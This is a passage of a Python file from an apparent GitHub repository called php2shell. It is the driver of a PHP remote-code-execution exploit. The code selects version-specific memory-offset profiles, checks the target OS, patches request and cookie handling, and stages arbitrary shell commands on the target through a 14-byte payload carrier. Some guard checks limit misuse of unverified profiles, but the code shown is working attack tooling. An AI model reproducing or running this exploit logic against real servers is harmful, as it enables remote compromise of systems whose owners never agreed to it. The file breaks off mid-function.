if how == "branch-only":

ui.warn(f"no exact profile for {version}; using {profile['php_version']} from the branch")

if profile.get("rce"):

ui.warn("refusing to run an RCE profile against a different build")

profile = dict(profile)

profile["rce"] = False

profile["_refusal"] = (f"no verified profile for PHP {version}; refusing to "

f"re-use the {profile['php_version']} RCE profile "

f"against a different build")

target_distro = detect_distro(server)

profile_distro = normalize_distro(profile.get("distro") or profile.get("name", ""))

if target_distro:

ui.info(f"target OS: {target_distro} · profile OS: {profile_distro or 'unknown'}")

if (target_distro and profile_distro and target_distro != profile_distro

and not args.force_build):

ui.crit(f"target looks like {target_distro}, profile is {profile_distro}")

ui.result(False, "BUILD MISMATCH", f"{profile['name']} is not a {target_distro} profile")

return 3

ui.stage("PREFLIGHT", profile["name"])

if loopback:

ui.info(f"local container: {args.container}")

lib = profile.get("libphp") or {}

ui.info(f"offsets: zif={lib.get('zif_system')} dtor={lib.get('zval_ptr_dtor')} "

f"htdata={lib.get('htdata')}")

ui.info(f"command: {args.command}")

if args.fetch:

ui.info(f"proof fetch: {args.fetch}")

elif args.allow_remote and not proof:

ui.warn("remote target without a fetch path; the command runs blind")

if not profile.get("rce"):

if profile.get("_refusal"):

ui.crit(profile["_refusal"])

else:

ui.crit("profile has no verified RCE stage")

for key in ("status", "measured"):

if profile.get(key):

ui.info(f"{key}: {profile[key]}")

if args.assess:

tool = os.path.join(HERE, "php2shell_assess.py")

if os.path.isfile(tool):

ui.stage("ASSESS", "running exposure/leak assessment")

return subprocess.call([sys.executable, tool, "--target", args.target])

detail = (f"no verified profile for PHP {version}" if profile.get("_refusal")

else profile.get("status", profile["name"]))

ui.result(False, "NO VERIFIED RCE", detail)

return 2

patch_params(args.repo_dir)

patch_cookie_decode(args.repo_dir)

if args.insecure:

patch_tls(args.repo_dir)

outdir = local_out_dir(args)

if outdir:

try:

mode = os.stat(outdir).st_mode & 0o777

if not (mode & 0o002):

ui.warn(f"{outdir} is not world-writable; run chmod 777 if the proof is missing")

except OSError:

pass

if (args.script or args.interactive) and not outdir:

ui.crit("--script/--interactive need a local /out mount")

ui.result(False, "NO OUTPUT CHANNEL", "use a local lab or a web-accessible output path")

return 4

if args.script:

try:

with open(args.script, encoding="utf-8") as handle:

body = handle.read()

except OSError as exc:

ui.crit(f"cannot read {args.script}: {exc}")

return 4

stage_script(outdir, body)

args.command = "sh</out/c"

proof = os.path.join(outdir, "o")

ui.info(f"script staged in {outdir}/c")

elif args.interactive:

return interactive_loop(args, profile, outdir, ui)

elif outdir:

# Local /out: stage the command so any length works and the output is

# captured in a file the proof reader can see.

redirect = re.search(r">\s*(/out/[A-Za-z0-9._-]+)", args.command)

proof = (os.path.join(outdir, os.path.basename(redirect.group(1)))

if redirect else os.path.join(outdir, "o"))

stage_script(outdir, args.command)

args.command = "sh</out/c"

ui.info(f"command staged in {outdir}/c (output -> {proof})")

elif len(args.command.encode()) > 14:

ui.crit(f"command is {len(args.command.encode())} bytes; the carrier allows 14")

ui.info("use --script FILE (local lab) or --interactive")

ui.result(False, "COMMAND TOO LONG", args.command)

return 4

detected = {"memory_limit": None, "post_max_size": None, "display_errors": None}

if not args.no_probe:

detected = probe_config(args, ui)

if args.huge_mb:

limits = [max(args.huge_mb - 12, 1)]

elif args.memory_limit_mb:

limits = [args.memory_limit_mb]

elif args.no_auto_memory:

View remainder of file in raw view

php2shell/tools/php2shell_auto.py at main · devploit/php2shell · GitHub

Repository navigation

Expand file tree

Breadcrumbs

php2shell_auto.py

Latest commit

History

Breadcrumbs

php2shell_auto.py

File metadata and controls